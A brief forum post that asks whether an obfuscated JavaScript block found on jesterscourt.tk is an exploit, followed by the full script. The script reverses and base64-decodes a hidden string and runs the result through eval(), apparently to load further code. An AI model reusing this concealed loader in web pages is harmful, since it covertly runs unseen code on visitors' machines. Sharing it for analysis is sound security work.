jesterscourt.tk, @th3j35t3r Javascript exploit?

I don't really have a tremendous amount of time to analyze this, but this runs on jesterscourt.tk

<script language="javascript" type="text/javascript">var lOI='==wOpkSZwF2YzV2XoUGchN2cl5WdoUGdpJ3duQnbl1Wdj9GZ7kSMxwGKkxWaoNEZuVGcwFmLslUSKsTXwsVKnQWYlh2JoUWbh50ZhRVeCNHduVWblxWR0V2ZuQnbl1Wdj9GZg0DIslUSgIXY2pwOpwkUV5CduVWb1N2bkhCduVmbvBXbvNUSSVVZk92YuV2Kn0DbyVnJnsSKyVmcyVmZlJnL05WZtV3YvRGK05WZu9Gct92QJJVVlR2bj5WZrcSPmVmcmcyKns2b9MmczRXZn9zLt92YuI3b0F2YzVnZi9GbtRHaukGch9yL6AHd0h2Jg0DIjJ3cuETMspwOpcCdwlmcjN3JoQnbl1WZsVUZ0FWZyNmL05WZtV3YvRGI9ASMxwGIyFmd7cSRzUCdwlmcjN3LDNTJCNTJ5ITJ4ITJ5ITJEdTJBBTJCNTJ5ITJzhjMlQGbph2Qk5WZwBXYuQUNlAjQ1USOyUiMyUCZhVGayITJ4ITJl1WYOdWYUlnQzRnbl1WZsVEdldmL05WZtV3YvRWQwUiQzUiMyUycq5iYhR3LzVnLn5WdtFmLzRXZnRWa39yLBNTJwRHdoJjMlQ0MlMmcz5ycBBTJCNTJlVnc0R0MlMmb5NXYuMHMyUiQzUSOyUiMyUCdwlmcjNnMyUCOyUCduVWblxWRlRXYlJ3YuQnbl1Wdj9GZENTJzBjMlIXY2J0NlAjMlkjMlgjMl42bpR3YuVnZ4ITJBBTJCNTJ5ITJEVTJyITJxN2ayITJwITJDJTJyITJsBHbnhneyMne38GNyITJwITJDJTJyITJiFGdyITJCVTJ4ITJoNXdw5Sdhd3XwITJCNTJEVTJCVTJwITJDdTJDdTJwITJ1F2dfBjMlQ0MlAjMlUXY39FMyUichZXRzUiMyUCdpVTdhd3XyITJENTJklGMyUCdwlmcjN3QzUyJ9UGchN2cl9FIyFmd';var _0x84de=["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=","","charAt","indexOf","fromCharCode","length"];function OlO(data){var OlIlOI=_0x84de[0];var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc=_0x84de[1];do{h1=OlIlOI[_0x84de[3]](data[_0x84de[2]](i++));h2=OlIlOI[_0x84de[3]](data[_0x84de[2]](i++));h3=OlIlOI[_0x84de[3]](data[_0x84de[2]](i++));h4=OlIlOI[_0x84de[3]](data[_0x84de[2]](i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String[_0x84de[4]](o1);} else {if(h4==64){enc+=String[_0x84de[4]](o1,o2);} else {enc+=String[_0x84de[4]](o1,o2,o3);} ;} ;} while(i<data[_0x84de[5]]);;return enc;} ;function OlI(string){var ret=_0x84de[1],i=0;for(i=string[_0x84de[5]]-1;i>=0;i--){ret+=string[_0x84de[2]](i);} ;return ret;} ;eval(OlO(OlI(lOI)));</script>